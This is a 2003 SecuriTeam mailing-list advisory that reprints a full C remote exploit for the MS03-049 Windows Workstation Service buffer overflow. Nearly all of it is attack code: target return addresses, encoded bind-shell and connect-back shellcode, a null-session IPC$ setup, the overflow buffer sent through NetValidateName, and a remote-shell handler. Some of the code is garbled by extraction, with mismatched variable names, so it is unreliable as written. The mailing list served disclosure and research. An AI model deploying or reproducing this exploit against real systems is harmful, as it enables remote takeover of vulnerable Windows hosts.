

Securiteam: [EXPL] Microsoft Workstation Service WKSSVC Remote Exploit (MS03-049)

[EXPL] Microsoft Workstation Service WKSSVC Remote Exploit (MS03-049)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-11/0058.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/16/03

To: list@securiteam.com

Date: 16 Nov 2003 17:46:48 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Microsoft Workstation Service WKSSVC Remote Exploit (MS03-049)

SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/windowsntfocus/6Q00F0K8UM.html>> Windows Workstation Service Remote Buffer Overflow, an exploitable buffer overflow in the Windows's Workstation service allows remote attackers to cause the program to execute arbitrary code.

DETAILS

Exploit:

/*

* Author: snooq

* Date: 14 November 2003

*

* ++++++ THIS IS A PRIVATE VERSION ++++++

*

* The public version will crash 'services.exe' immediately

* while this one crash it only when u exit from shell...

*

* I'm still trying to figure out a way to avoid the 'crash'

Securiteam: [EXPL] Microsoft Workstation Service WKSSVC Remote Exploit (MS03-049)

```
* all together... any ideas????
*
* Let me know if you hav trouble compiling this shit...
* I hope this could be a good e.g for u to try Win32
* exploitation..
*
* This code is crappy... if u know of a better way of doing
* things... pls tell me.....
*
* Otherwise, if you guys r keen... I'll be more than happy
* to go thru this in details wif u all... Meanwhile..enjoy!
*
* ++++++
```

```
#pragma comment (linker,"/NODEFAULTLIB:msvcprtd.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcmd.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcmtd.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcd.lib")
#pragma comment (lib,"ws2_32")
#pragma comment (lib,"msvcrt")
#pragma comment (lib,"mpr")
#pragma warning (disable:4013)
```

```
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <stdlib.h>
#include <stdio.h>
#include <lm.h>
```

```
#define NOP 0x90
#define PORT 24876
#define KEY 0x99999999
```

```
#define ALIGN 1 // Between 0 ~ 3
#define TARGET 1
#define INTERVAL 3
#define TIME_OUT 20
#define PORT_OFFSET_1 198
#define PORT_OFFSET_2 193
#define IP_OFFSET 186
#define SC_OFFSET 20 // Gap for some NOPs...
#define RET_SIZE 2026 // Big enuff to take EIP... ;)
```

```
#define SC_SIZE_1 sizeof(bindport)
#define SC_SIZE_2 sizeof(connback)
```

```
#define BSIZE 2600
#define SSIZE 128
```

Securiteam: [EXPL] Microsoft Workstation Service WKSSVC Remote Exploit (MS03-049)

```
extern char getopt(int,char **,char*);
extern char *optarg;
static int alarm_fired=0;

HMODULE hMod;
FARPROC fxn;
HANDLE t1, t2;

char buff[BSIZE];

struct {
    char *os;
    long jmpesp;
    char *dll;
}

targets[] = {
    {
        "Window 2000 (en) SP4",
        0x77e14c29,
        "user32.dll 5.0.2195.6688"
    },
    {
        "Window 2000 (en) SP1",
        0x77e3cb4c,
        "user32.dll 5.0.2195.1600"
    },
    {
        "For debugging only",
        0x41424344,
        "dummy.dll 5.0.2195.1600"
    }
}, v;

/*
 * HD Moore's shellcode..... ;)
 */

char bindport[]=
"\xeb\x19\x5e\x31\xc9\x81\xe9\xa6\xff\xff\xff\x81\x36\x99\x99\x99"
"\x99\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff"
"\x71\xa1\x99\x99\x99\xda\xd4\xdd\x99\x7e\xe0\x5f\xe0\x7c\xd0\x1f"
"\xd0\x3d\x34\xb7\x70\x3d\x83\xe9\x5e\x40\x90\x6c\x34\x52\x74\x65"
"\xa2\x17\xd7\x97\x75\xe7\x41\x7b\xea\x34\x40\x9c\x57\xeb\x67\x2a"
"\x8f\xce\xca\xab\xc6\xaa\xab\xb7\xdd\xd5\xd5\x99\x98\xc2\xcd\x10"
"\x7c\x10\xc4\x99\xf3\xa9\xc0\xfd\x12\x98\x12\xd9\x95\x12\xe9\x85"
"\x34\x12\xc1\x91\x72\x95\x14\xce\xb5\xc8\xcb\x66\x49\x10\x5a\xc0"
"\x72\x89\xf3\x91\xc7\x98\x77\xf3\x93\xc0\x12\xe4\x99\x19\x60\x9f"
"\xed\x7d\xc8\xca\x66\xad\x16\x71\x09\x99\x99\x99\xc0\x10\x9d\x17"
"\x7b\x72\xa8\x66\xff\x18\x75\x09\x98\xcd\xf1\x98\x98\x99\x99\x66"
"\xcc\xb9\xce\xce\xce\xce\xde\xce\xde\xce\x66\xcc\x85\x10\x5a\xa8"
```

```
"\x66\xce\xce\xf1\x9b\x99\xf8\xb5\x10\x7f\xf3\x89\xcf\xca\x66\xcc"
"\x81\xce\xca\x66\xcc\x8d\xce\xcf\xca\x66\xcc\x89\x10\x5b\xff\x18"
"\x75\xcd\x99\x14\xa5\xbd\xa8\x59\xf3\x8c\xc0\x6a\x32\x10\x4e\x5f"
"\xdd\xbd\x89\xdd\x67\xdd\xbd\xa4\x10\xe5\xbd\xd1\x10\xe5\xbd\xd5"
"\x10\xe5\xbd\xc9\x14\xdd\xbd\x89\xcd\xc9\xc8\xc8\xc8\xd8\xc8\xd0"
"\xc8\xc8\x66\xec\x99\xc8\x66\xcc\xa9\x10\x78\xf1\x66\x66\x66\x66"
"\x66\xa8\x66\xcc\xb5\xce\x66\xcc\x95\x66\xcc\xb1\xca\xcc\xcf\xce"
"\x12\xf5\xbd\x81\x12\xdc\xa5\x12\xcd\x9c\xe1\x98\x73\x12\xd3\x81"
"\x12\xc3\xb9\x98\x72\x7a\xab\xd0\x12\xad\x12\x98\x77\xa8\x66\x65"
"\xa8\x59\x35\xa1\x79\xed\x9e\x58\x56\x94\x98\x5e\x72\x6b\xa2\xe5"
"\xbd\x8d\xec\x78\x12\xc3\xbd\x98\x72\xff\x12\x95\xd2\x12\xc3\x85"
"\x98\x72\x12\x9d\x12\x98\x71\x72\x9b\xa8\x59\x10\x73\xc6\xc7\xc4"
"\xc2\x5b\x91\x99";
```

char connback[] =

```
"\xeb\x19\x5e\x31\xc9\x81\xe9\xab\xff\xff\xff\x81\x36\x99\x99\x99"
"\x99\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff"
"\x71\xa9\x99\x99\x99\xda\xd4\xdd\x99\x7e\xe0\x5f\xe0\x75\x60\x33"
"\xf9\x40\x90\x6c\x34\x52\x74\x65\xa2\x17\xd7\x97\x75\xe7\x41\x7b"
"\xea\x34\x40\x9c\x57\xeb\x67\x2a\x8f\xce\xca\xab\xc6\xaa\xab\xb7"
"\xdd\xd5\xd5\x99\x98\xc2\xcd\x10\x7c\x10\xc4\x99\xf3\xa9\xc0\xfd"
"\x12\x98\x12\xd9\x95\x12\xe9\x85\x34\x12\xc1\x91\x72\x95\x14\xce"
"\xbd\xc8\xcb\x66\x49\x10\x5a\xc0\x72\x89\xf3\x91\xc7\x98\x77\xf3"
"\x91\xc0\x12\xe4\x99\x19\x60\x9d\xed\x7d\xc8\xca\x66\xad\x16\x71"
"\x1a\x99\x99\x99\xc0\x10\x9d\x17\x7b\x72\xa8\x66\xff\x18\x75\x09"
"\x98\xcd\xf1\x98\x98\x99\x99\x66\xcc\x81\xce\xce\xce\xce\xde\xce"
"\xde\xce\x66\xcc\x8d\x10\x5a\xa8\x66\xf1\x59\x31\x91\xa0\xf1\x9b"
"\x99\xf8\xb5\x10\x78\xf3\x89\xc8\xca\x66\xcc\x89\x1c\x59\xec\xdd"
"\x14\xa5\xbd\xa8\x59\xf3\x8c\xc0\x6a\x32\x5f\xdd\xbd\x89\xdd\x67"
"\xdd\xbd\xa4\x10\xc5\xbd\xd1\x10\xc5\xbd\xd5\x10\xc5\xbd\xc9\x14"
"\xdd\xbd\x89\xcd\xc9\xc8\xc8\xc8\xd8\xc8\xd0\xc8\xc8\x66\xec\x99"
"\xc8\x66\xcc\xb1\x10\x78\xf1\x66\x66\x66\x66\x66\xa8\x66\xcc\xbd"
"\xce\x66\xcc\x95\x66\xcc\xb9\xca\xcc\xcf\xce\x12\xf5\xbd\x81\x12"
"\xdc\xa5\x12\xcd\x9c\xe1\x98\x73\x12\xd3\x81\x12\xc3\xb9\x98\x72"
"\x7a\xab\xd0\x12\xad\x12\x98\x77\xa8\x66\x65\xa8\x59\x35\xa1\x79"
"\xed\x9e\x58\x56\x94\x98\x5e\x72\x6b\xa2\xe5\xbd\x8d\xec\x78\x12"
"\xc3\xbd\x98\x72\xff\x12\x95\xd2\x12\xc3\x85\x98\x72\x12\x9d\x12"
"\x98\x71\x72\x9b\xa8\x59\x10\x73\xc6\xc7\xc4\xc2\x5b\x91\x99\x09";
```

```
void err_exit(char *s) {
    printf("%s\n",s);
    exit(0);
}
```

```
/*
 * Ripped from TESO code and modified by ey4s for win32
 * and... lamer quoted it wholesale here..... =p
 */
```

```
void doshell(int sock) {
    int l;
```

```

char buf[512];
struct timeval time;
unsigned long ul[2];

time.tv_sec=1;
time.tv_usec=0;

while (1) {
    ul[0]=1;
    ul[1]=sock;

    l=select(0,(fd_set *)&ul,NULL,NULL,&time);
    if(l==1) {
        l=recv(sock,buf,sizeof(buf),0);
        if (l<=0) {
            err_exit("-> Connection closed...\n");
        }
        l=write(1,buf,l);
        if (l<=0) {
            err_exit("-> Connection closed...\n");
        }
    }
    else {
        l=read(0,buf,sizeof(buf));
        if (l<=0) {
            err_exit("-> Connection closed...\n");
        }
        l=send(sock,buf,l,0);
        if (l<=0) {
            err_exit("-> Connection closed...\n");
        }
    }
}

void changeip(char *ip) {
    char *ptr;
    ptr=connback+IP_OFFSET;
    /* Assume Little-Endianess.... */
    *((long *)ptr)=inet_addr(ip)^KEY;
}

void changeport(char *code, int port, int offset) {
    char *ptr;
    ptr=code+offset;
    port^=KEY;
    /* Assume Little-Endianess.... */
    *ptr++=(char)((port>>8)&0xff);
    *ptr++=(char)(port&0xff);
}

```

```
void banner() {
    printf("\nWKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]\n\n");
}
```

```
void usage(char *s) {
    banner();
    printf("Usage: %s [options]\n",s);
    printf("\t-r\tSize of 'return addresses'\n");
    printf("\t-a\tAlignment size [0~3]\n");
    printf("\t-p\tPort to bind shell to (in 'connecting' mode), or\n");
    printf("\t\tPort for shell to connect back (in 'listening' mode)\n");
    printf("\t-s\tShellcode offset from the return address\n");
    printf("\t-h\tTarget's IP\n");
    printf("\t-t\tTarget types. (-H for more info)\n");
    printf("\t-H\tShow list of possible targets\n");
    printf("\t-l\tListening for shell connecting\n");
    printf("\t\tback to port specified by '-p' switch\n");
    printf("\t-i\tIP for shell to connect back\n");
    printf("\t-l\tTime interval between each trial ('connecting' mode only)\n");
    printf("\t-T\tTime out (in number of seconds)\n\n");
    printf("\tNotes:\n\t=====\n\t'-h' is mandatory\n");
    printf("\t'-i' is mandatory if '-l' is specified\n\n");
    exit(0);
}
```

```
void showtargets() {
    int i;
    banner();
    printf("Possible targets are:\n");
    printf("=====\n");
    for (i=0;i<sizeof(targets)/sizeof(v);i++) {
        printf("%d) %s",i+1,targets[i].os);
        printf(" --> 0x%08x (%s)\n",targets[i].jmpesp,targets[i].dll);
    }
    exit(0);
}
```

```
void sendstr(char *host) {

    WCHAR wStr[128];
    char ipc[128], hStr[128];

    DWORD ret;
    NETRESOURCE NET;

    hMod=LoadLibrary("netapi32.dll");
    fxn=GetProcAddress(hMod,"NetValidateName");

    _snprintf(ipc,127,"\\\\\\%s\\ipc$",host);
    _snprintf(hStr,127,"\\\\\\%s",host);
```

```

MultiByteToWideChar(CP_ACP,0,hStr,strlen(hStr)+1,wStr,sizeof(wStr)/sizeof(wStr[0]));

NET.lpNetLocalName = NULL;
NET.lpNetProvider = NULL;
NET.dwType = RESOURCETYPE_ANY;
NET.lpNetRemoteName = (char*)&ipc;

printf("-> Setting up $IPC session...(aka 'null session')\n");
ret=WNetAddConnection2(&NET,"","",0);

if (ret!=ERROR_SUCCESS) { err_exit("-> Couldn't establish IPC$
connection..."); }
else printf("-> IPC$ session setup successfully...\n");

printf("-> Sending exploit string...\n");

ret=fxn((LPCWSTR)wStr,buff,NULL,NULL,0);

}

VOID CALLBACK alm_bell(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime )
{
err_exit("-> I give up...dude.....");
}

void setalarm(int timeout) {

MSG msg = { 0, 0, 0, 0 };
SetTimer(0, 0, (timeout*1000), (TIMERPROC)alm_bell);

while(!alarm_fired) {
if (GetMessage(&msg, 0, 0, 0) ) {
if (msg.message == WM_TIMER) printf("-> WM_TIMER received...\n");
DispatchMessage(&msg);
}
}

}

void resetalarm() {
if (TerminateThread(t2,0)==0) {
err_exit("-> Failed to reset alarm...");
}
if (TerminateThread(t1,0)==0) {
err_exit("-> Failed to kill the 'sending' thread...");
}
}

void do_send(char *host,int timeout) {
t1=(HANDLE)_beginthread(sendstr,0,host);
}

```

```

if (t1==0) { err_exit("-> Failed to send exploit string..."); }
t2=(HANDLE)_beginthread(setalarm,0,timeout);
if (t2==0) { err_exit("-> Failed to set alarm clock..."); }
}

int main(int argc, char *argv[]) {

    char opt;
    char *host, *ptr, *ip="";
    struct sockaddr_in sockadd;
    int i, i_len, ok=0, mode=0, flag=0;
    int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET;
    int target=TARGET, scsize=SC_SIZE_1, port=PORT;
    int timeout=TIME_OUT, interval=INTERVAL;
    long retaddr;

    WSADATA wsd;
    SOCKET s1, s2;

    if (argc<2) { usage(argv[0]); }

    while ((opt=getopt(argc,argv,"a:i:I:r:s:h:t:T:p:HI"))!=EOF) {
        switch(opt) {
            case 'a':
                align=atoi(optarg);
                break;

            case 'I':
                interval=atoi(optarg);
                break;

            case 'T':
                timeout=atoi(optarg);
                break;

            case 't':
                target=atoi(optarg);
                retaddr=targets[target-1].jmpesp;
                break;

            case 'i':
                ip=optarg;
                changeip(ip);
                break;

            case 'l':
                mode=1;
                scsize=SC_SIZE_2;
                break;
        }
    }
}

```

Securiteam: [EXPL] Microsoft Workstation Service WKSSVC Remote Exploit (MS03-049)

```
case 'r':
resize=atoi(optarg);
break;

case 's':
sc_offset=atoi(optarg);
break;

case 'h':
ok=1;
host=optarg;
sockadd.sin_addr.s_addr=inet_addr(optarg);
break;

case 'p':
port=atoi(optarg);
break;

case 'H':
showtargets();
break;

default:
usage(argv[0]);
break;
}
}

if (!ok || (mode&&((strcmp(ip,"")==0)))) { usage(argv[0]); }

memset(buff,NOP,BSIZE);

ptr=buff+align;
for(i=0;i<resize;i+=4) {
*((long *)ptr)=retaddr;
ptr+=4;
}

if (WSAStartup(MAKEWORD(1,1),&wsd)!=0) {
err_exit("-> WSAStartup error....");
}

if ((s1=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
err_exit("-> socket() error...");
}
sockadd.sin_family=AF_INET;
sockadd.sin_port=htons((SHORT)port);

ptr=buff+resize+sc_offset;

if (BSIZE<(resize+sc_offset+scsize)) err_exit("-> Bad 'sc_offset'..");
```

```

banner();

if (mode) {

    printf("-> 'Listening' mode...( port: %d )\n",port);

    changeport(connback, port, PORT_OFFSET_2);
    for(i=0;i<scsize;i++) { *ptr++=connback[i]; }

    do_send(host,timeout);
    Sleep(1000);

    sockadd.sin_addr.s_addr=htonl(INADDR_ANY);
    i_len=sizeof(sockadd);

    if (bind(s1,(struct sockadd *)&sockadd,i_len)<0) {
        err_exit("-> bind() error");
    }

    if (listen(s1,0)<0) {
        err_exit("-> listen() error");
    }

    printf("-> Waiting for connection...\n");

    s2=accept(s1,(struct sockadd *)&sockadd,&i_len);

    if (s2<0) {
        err_exit("-> accept() error");
    }

    printf("-> Connection from: %s\n\n",inet_ntoa(sockadd.sin_addr));

    resetalarm();
    doshell(s2);

}
else {

    printf("-> 'Connecting' mode...\n",port);

    changeport(bindport, port, PORT_OFFSET_1);
    for(i=0;i<scsize;i++) { *ptr++=bindport[i]; }

    do_send(host,timeout);
    Sleep(1000);

    printf("-> Will try connecting to shell now....\n");

    i=0;
    while(!flag) {

```

Securiteam: [EXPL] Microsoft Workstation Service WKSSVC Remote Exploit (MS03-049)

```
Sleep(interval*1000);
if(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) {
    printf("-> Trial #%%d...\n",i++);
}
else { flag=1; }
}

printf("-> Connected to shell at
%s:%%d\n\n",inet_ntoa(sockadd.sin_addr),port);

    resetalarm();
    doshell(s1);

}

return 0;

}
```

ADDITIONAL INFORMATION

The information has been provided by snooq.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.